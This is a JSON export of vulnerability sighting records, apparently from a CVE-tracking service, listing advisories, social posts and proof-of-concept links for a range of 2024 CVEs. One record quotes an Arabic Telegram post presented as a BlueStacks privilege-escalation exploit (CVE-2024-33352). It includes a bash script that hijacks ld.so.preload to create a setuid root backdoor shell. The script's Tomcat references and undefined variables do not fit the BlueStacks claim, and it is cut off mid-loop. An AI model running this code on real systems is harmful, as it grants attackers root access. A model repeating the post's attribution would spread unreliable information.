"4dd2bb79-cad2-4f1e-8036-d9bee9ffb7f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33058", "type": "seen", "source": "MISP/a1f4de80-fff0-4971-8020-da8f70ab57ea", "content": "", "creation_timestamp": "2025-09-10T07:00:41.000000Z"}, {"uuid": "9964c090-4b12-4bc7-8d88-47aebe1319b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33514", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/5/kritische-sicherheitslucken-in-arubaos-updates-verfugbar", "content": "", "creation_timestamp": "2024-05-02T09:46:45.000000Z"}, {"uuid": "a4b912d7-beb0-4292-9f1c-2cc6acee67b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33515", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/5/kritische-sicherheitslucken-in-arubaos-updates-verfugbar", "content": "", "creation_timestamp": "2024-05-02T09:46:45.000000Z"}, {"uuid": "e05a2de0-066a-4ce5-a814-226d468986f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33516", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/5/kritische-sicherheitslucken-in-arubaos-updates-verfugbar", "content": "", "creation_timestamp": "2024-05-02T09:46:45.000000Z"}, {"uuid": "b06b397a-40b8-4d5d-8f3f-d3174660a352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33517", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/5/kritische-sicherheitslucken-in-arubaos-updates-verfugbar", "content": "", "creation_timestamp": "2024-05-02T09:46:45.000000Z"}, {"uuid": "151192c6-e075-497b-bc61-d3b8b845a502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33518", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/5/kritische-sicherheitslucken-in-arubaos-updates-verfugbar", "content": "", "creation_timestamp": "2024-05-02T09:46:45.000000Z"}, {"uuid": "aef1fcec-b3c8-453a-bc17-b20c9199a6ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33511", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/5/kritische-sicherheitslucken-in-arubaos-updates-verfugbar", "content": "", "creation_timestamp": "2024-05-02T09:46:45.000000Z"}, {"uuid": "96a89b54-7d9f-4d64-83a6-b11b3717dbc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33512", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/5/kritische-sicherheitslucken-in-arubaos-updates-verfugbar", "content": "", "creation_timestamp": "2024-05-02T09:46:45.000000Z"}, {"uuid": "7270c2c0-1fec-47f0-834c-3597887bc307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33513", "type": "seen", "source": "https://www.cert.at/de/warnungen/2024/5/kritische-sicherheitslucken-in-arubaos-updates-verfugbar", "content": "", "creation_timestamp": "2024-05-02T09:46:45.000000Z"}, {"uuid": "da74b0de-5784-495d-a384-e039886e6410", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3378", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lz2qaznlls25", "content": "", "creation_timestamp": "2025-09-17T21:02:43.193519Z"}, {"uuid": "779a8398-734f-42e5-9d1d-9bfe2609e3c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33058", "type": "seen", "source": "MISP/a1f4de80-fff0-4971-8020-da8f70ab57ea", "content": "", "creation_timestamp": "2025-08-09T17:25:38.000000Z"}, {"uuid": "c02d5863-e318-47f6-9ac1-46830f97fecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33326", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lyj4ykkqt227", "content": "", "creation_timestamp": "2025-09-10T21:02:32.676684Z"}, {"uuid": "0d5dd94f-8a57-4cf0-b5a3-60f771e9b5d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "seen", "source": "MISP/02fb130c-7874-4693-9b66-81ed91a2e996", "content": "", "creation_timestamp": "2025-08-12T13:33:28.000000Z"}, {"uuid": "e47a71d4-3d53-4594-93a6-3ed0403269be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "seen", "source": "MISP/02fb130c-7874-4693-9b66-81ed91a2e996", "content": "", "creation_timestamp": "2025-08-21T03:19:27.000000Z"}, {"uuid": "9218c176-f857-4218-ac6b-bb5aba04e4ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33655", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lxajomrrxc2u", "content": "", "creation_timestamp": "2025-08-25T17:30:29.398217Z"}, {"uuid": "c0aabe56-4262-413d-adc3-f7d854c54e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3303", "type": "seen", "source": "MISP/db121278-a8f5-4f36-a226-e45f3a86f55e", "content": "", "creation_timestamp": "2025-08-26T13:26:34.000000Z"}, {"uuid": "5232c9c3-5f60-4d7d-845f-44a8e5ff27a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33326", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-33326.yaml", "content": "", "creation_timestamp": "2025-09-09T09:16:31.000000Z"}, {"uuid": "fcaa4aea-1fe6-406e-89cf-f1fb2e6ae8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33231", "type": "seen", "source": "MISP/1c5c38d6-3401-41ac-be0e-4cf361fa6f51", "content": "", "creation_timestamp": "2025-09-25T00:36:28.000000Z"}, {"uuid": "ace030bc-1a12-4f49-af5b-705b2b4fd55e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33067", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "456d7437-00a3-4cd0-b34b-77706756b22f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33939", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3maw6vycru42r", "content": "", "creation_timestamp": "2025-12-26T21:03:01.561489Z"}, {"uuid": "33561d2f-51ca-472d-9ebc-18988492d968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2985feaa-60cc-4679-9b17-544cd8808220", "content": "", "creation_timestamp": "2026-02-02T12:26:17.415946Z"}, {"uuid": "af0168e4-601a-43e0-b6bd-07a4dd647aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33618", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjjura2jbq2o", "content": "", "creation_timestamp": "2026-04-15T12:16:11.280732Z"}, {"uuid": "ebe71b00-8796-4385-9527-fec174f26611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3375", "type": "seen", "source": "https://bsky.app/profile/linuxrebel.org/post/3meck6v4w2s2o", "content": "", "creation_timestamp": "2026-02-07T23:12:22.355850Z"}, {"uuid": "2df5d510-05ee-4a35-a678-e80aba0a2d66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33663", "type": "seen", "source": "https://gist.github.com/uug4na/f0d56845fe87e7a5ba56d464372ac06a", "content": "", "creation_timestamp": "2026-02-24T10:10:33.000000Z"}, {"uuid": "e3ec491b-bd41-41b2-8fe2-193159db0b77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3384", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1270", "content": "", "creation_timestamp": "2024-04-15T04:00:00.000000Z"}, {"uuid": "fe1b4626-a54b-48c9-b98e-b195b6404a2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3386", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1270", "content": "", "creation_timestamp": "2024-04-15T04:00:00.000000Z"}, {"uuid": "0735dd95-49cf-495c-b19d-93fd15164f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3387", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1270", "content": "", "creation_timestamp": "2024-04-15T04:00:00.000000Z"}, {"uuid": "ea53caa9-80c3-4b8d-9df6-d53777fad0bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3383", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1270", "content": "", "creation_timestamp": "2024-04-15T04:00:00.000000Z"}, {"uuid": "7086f2b1-e354-4dc4-bd5e-95bc960d946c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3382", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1270", "content": "", "creation_timestamp": "2024-04-15T04:00:00.000000Z"}, {"uuid": "621473de-b013-4306-8781-dcb1179bd7e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3385", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1270", "content": "", "creation_timestamp": "2024-04-15T04:00:00.000000Z"}, {"uuid": "5536b079-cb76-44e9-acf8-44ab669066be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3388", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1270", "content": "", "creation_timestamp": "2024-04-15T04:00:00.000000Z"}, {"uuid": "5f0aab20-23ba-4ac5-ba92-13bac5ea7682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1451", "content": "", "creation_timestamp": "2024-12-30T04:00:00.000000Z"}, {"uuid": "884b761d-41c9-4193-82b5-6fb182d95e12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://vulnerability.circl.lu/comment/6608623d-c8c2-494f-a4a8-41a12a6a7cc0", "content": "", "creation_timestamp": "2024-12-27T08:59:02.439757Z"}, {"uuid": "08a53afc-7949-4eb0-86d8-f8d04d267518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33510", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/095373a5-9369-47a8-addc-a3cc46dc2b41", "content": "", "creation_timestamp": "2024-11-13T15:13:17.127651Z"}, {"uuid": "236e0ff6-f6de-42bb-8bff-4ade11b750e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33505", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/095373a5-9369-47a8-addc-a3cc46dc2b41", "content": "", "creation_timestamp": "2024-11-13T15:13:17.127651Z"}, {"uuid": "ec8d87af-6095-4f76-92e5-a5a23f16e61c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33060", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/c1d2888a-e3fb-49e6-ba8f-5034c43415af", "content": "", "creation_timestamp": "2024-12-17T20:41:33.726716Z"}, {"uuid": "e7292e3b-1040-4eda-81da-a4e3ed4421c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2985feaa-60cc-4679-9b17-544cd8808220", "content": "", "creation_timestamp": "2026-02-02T12:26:17.415946Z"}, {"uuid": "ab44b4a6-cf55-4882-a8ea-3f3b2cc8d57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33905", "type": "seen", "source": "https://gist.github.com/ssynical/638dd67661cf8cbfdc1c3ca2b208eb7f", "content": "", "creation_timestamp": "2026-04-08T01:23:05.000000Z"}, {"uuid": "d8c7bc36-e571-46ae-8afd-7f6dac899213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-33434", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3miz6wtwx3g2p", "content": "", "creation_timestamp": "2026-04-08T21:03:04.109247Z"}, {"uuid": "bd8f6f31-0fef-4595-a9a8-4a5093fb5638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33644", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8318", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aReproducing the following CVEs with dockerfile:CVE-2024-33644 CVE-2024-34370 CVE-2024-22120\nURL\uff1ahttps://github.com/Akshath-Nagulapally/ReproducingCVEs_Akshath_Nagulapally\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-20T21:31:55.000000Z"}, {"uuid": "6e4ef6cb-1cfe-4848-8764-f0c7c2c50371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33883", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7758", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPoC of CVE-2024-33883, RCE vulnerability of ejs.\nURL\uff1ahttps://github.com/Grantzile/PoC-CVE-2024-33883\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-25T19:14:09.000000Z"}, {"uuid": "8cafb28e-323c-4800-87e3-63fd03caa260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33896", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8315", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aProof of concept CVE-2024-33896 \nURL\uff1ahttps://github.com/codeb0ss/CVE-2024-33896-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-20T13:56:26.000000Z"}, {"uuid": "2f55170a-037e-4861-a9b2-320bcca82e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33601", "type": "seen", "source": "Telegram/-K2IPvCzwqrcZGZXcsjMDeKuQ_9WWP09GZdomgul6GrWedb7", "content": "", "creation_timestamp": "2025-02-21T22:10:26.000000Z"}, {"uuid": "38ae3309-c519-4649-abb4-0515d15de5ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/cyber_hsecurity/1611", "content": "\u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 CVE-2024-33352 \u062a\u0624\u062b\u0631 \u0639\u0644\u0649 BlueStacks\u060c \u0648\u0647\u0648 \u0645\u062d\u0627\u0643\u064a \u0623\u0646\u062f\u0631\u0648\u064a\u062f \u0634\u0627\u0626\u0639 \u064a\u0633\u062a\u062e\u062f\u0645 \u0644\u062a\u0634\u063a\u064a\u0644 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0623\u0646\u062f\u0631\u0648\u064a\u062f \u0639\u0644\u0649 \u0627\u0644\u062d\u0648\u0627\u0633\u064a\u0628 \u0627\u0644\u0634\u062e\u0635\u064a\u0629. \u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0645\u0646 \u0642\u0628\u0644 \u0627\u0644\u0628\u0627\u062d\u062b mmiszczyk \u0648\u062a\u0645 \u0646\u0634\u0631 \u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645 (PoC) \u0639\u0644\u0649 GitHub. \u062a\u062a\u0639\u0644\u0642 \u0627\u0644\u062b\u063a\u0631\u0629 \u0628\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0639\u0628\u0631 \u0632\u0631\u0639 \u0628\u0631\u0646\u0627\u0645\u062c \u0636\u0627\u0631 \u0641\u064a \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a (VM) \u0627\u0644\u062e\u0627\u0635 \u0628\u0640 BlueStacks\u060c \u0645\u0645\u0627 \u064a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0627\u0644\u062c\u0630\u0631 (root) \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641.\n\n### \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u0641\u0646\u064a\u0629\n\n\u062a\u0639\u062a\u0645\u062f \u0627\u0644\u062b\u063a\u0631\u0629 \u0639\u0644\u0649 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u064a\u0632\u0627\u062a \u0645\u062d\u062f\u062f\u0629 \u0641\u064a BlueStacks \u0644\u0632\u0631\u0639 \u0628\u0631\u0627\u0645\u062c \u0636\u0627\u0631\u0629 \u0641\u064a \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u060c \u0645\u0645\u0627 \u064a\u0624\u062f\u064a \u0625\u0644\u0649 \u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a. \u0647\u0630\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u0627\u0644\u0633\u064a\u0637\u0631\u0629 \u0627\u0644\u0643\u0627\u0645\u0644\u0629 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641.\n\n### \u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\n\n\u0644\u0644\u0627\u0633\u062a\u0641\u0627\u062f\u0629 \u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629\u060c \u064a\u062d\u062a\u0627\u062c \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0644\u0649 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0644\u062a\u0634\u063a\u064a\u0644 \u0646\u0635 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644. \u062a\u0645 \u062a\u0648\u0641\u064a\u0631 \u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645 (PoC) \u0645\u0646 \u0642\u0628\u0644 \u0627\u0644\u0628\u0627\u062d\u062b\u060c \u0648\u0627\u0644\u0630\u064a \u064a\u0648\u0636\u062d \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u0644\u0627\u0632\u0645\u0629 \u0644\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0647\u062c\u0648\u0645.\n\n#### \u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u0646\u0641\u064a\u0630\n\n1. \u062a\u0646\u0632\u064a\u0644 \u0648\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0646\u0635: \u064a\u0645\u0643\u0646 \u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u0646\u0635 \u0627\u0644\u062e\u0627\u0635 \u0628\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0641\u0647\u0648\u0645 \u0645\u0646 [\u0647\u0646\u0627](https://github.com/mmiszczyk/CVE-2024-33352/blob/main/exploit.sh).\n2. \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0646\u0635: \u064a\u062c\u0628 \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0646\u0635 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0628\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0645\u0633\u062a\u062e\u062f\u0645 \u0639\u0627\u062f\u064a. \u0627\u0644\u0646\u0635 \u064a\u0642\u0648\u0645 \u0628\u0625\u0639\u062f\u0627\u062f \u0628\u064a\u0626\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0632\u0631\u0639 \u0628\u0631\u0646\u0627\u0645\u062c \u0636\u0627\u0631 \u0641\u064a \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a.\n\n### \u0627\u0644\u0634\u0631\u062d \u0627\u0644\u0641\u0646\u064a \u0644\u0644\u0646\u0635\n\n#!/bin/bash\n# BlueStacks Privilege Escalation Exploit\n# CVE-2024-33352\n\n# \u0625\u0639\u062f\u0627\u062f \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0636\u0631\u0648\u0631\u064a\u0629 \u0644\u0632\u0631\u0639 \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u0636\u0627\u0631\nBACKDOORSH=\"/bin/bash\"\nBACKDOORPATH=\"/tmp/bluestacksrootsh\"\nPRIVESCLIB=\"/tmp/privesclib.so\"\nPRIVESCSRC=\"/tmp/privesclib.c\"\n\nfunction cleanexit {\n # \u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0628\u0639\u062f \u0627\u0644\u0627\u0646\u062a\u0647\u0627\u0621\n echo -e \"\\n[+] Cleaning up...\"\n rm -f $PRIVESCSRC\n rm -f $PRIVESCLIB\n rm -f $TOMCATLOG\n touch $TOMCATLOG\n if [ -f /etc/ld.so.preload ]; then\n echo -n > /etc/ld.so.preload 2>/dev/null\n fi\n echo -e \"\\n[+] Job done. Exiting with code $1 \\n\"\n exit $1\n}\n\n# \u0625\u0639\u062f\u0627\u062f \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u0636\u0627\u0631\ncat <<_solibeof_>$PRIVESCSRC\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \nuid_t geteuid(void) {\n static uid_t (*old_geteuid)();\n old_geteuid = dlsym(RTLD_NEXT, \"geteuid\");\n if ( old_geteuid() == 0 ) {\n chown(\"$BACKDOORPATH\", 0, 0);\n chmod(\"$BACKDOORPATH\", 04777);\n unlink(\"/etc/ld.so.preload\");\n }\n return old_geteuid();\n}\n_solibeof_\ngcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl\nif [ $? -ne 0 ]; then\n echo -e \"\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\"\n cleanexit 2;\nfi\n\n# \u0625\u0639\u062f\u0627\u062f \u0627\u0644\u062e\u0644\u0641\u064a\u0629/\u0627\u0644\u0642\u0634\u0631\u0629 \u0630\u0627\u062a \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0627\u0644\u0645\u0646\u062e\u0641\u0636\u0629\ncp $BACKDOORSH $BACKDOORPATH\necho -e \"\\n[+] Backdoor/low-priv shell installed at: \\nls -l $BACKDOORPATH\"\n\n# \u0625\u0639\u062f\u0627\u062f \u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0631\u0645\u0632\u064a \u0644\u0645\u0644\u0641 ld.so.preload\nrm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG\nif [ $? -ne 0 ]; then\n echo -e \"\\n[!] Couldn't remove the $TOMCATLOG file or create a symlink.\"\n cleanexit 3\nfi\necho -e \"\\n[+] Symlink created at: \\nls -l $TOMCATLOG\"\n\n# \u0627\u0644\u0627\u0646\u062a\u0638\u0627\u0631 \u062d\u062a\u0649 \u064a\u062a\u0645 \u0625\u0639\u0627\u062f\u0629 \u0641\u062a\u062d \u0627\u0644\u0633\u062c\u0644\u0627\u062a \u0628\u0648\u0627\u0633\u0637\u0629 Tomcat\necho -ne \"\\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...\"\necho -e \"\\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)\"\nwhile :; do\n sleep 0.1\n if [ -f /etc/ld.so.preload ]; then\n echo $PRIVESCLIB > /etc/ld.so.preload\n break;\n### \u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u062d\u0645\u0627\u064a\u0629\n\n\u0644\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0646\u0638\u0627\u0645 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\u060c \u064a\u064f\u0646\u0635\u062d \u0628\u062a\u062d\u062f\u064a\u062b BlueStacks \u0625\u0644\u0649 \u0622\u062e\u0631 \u0625\u0635\u062f\u0627\u0631 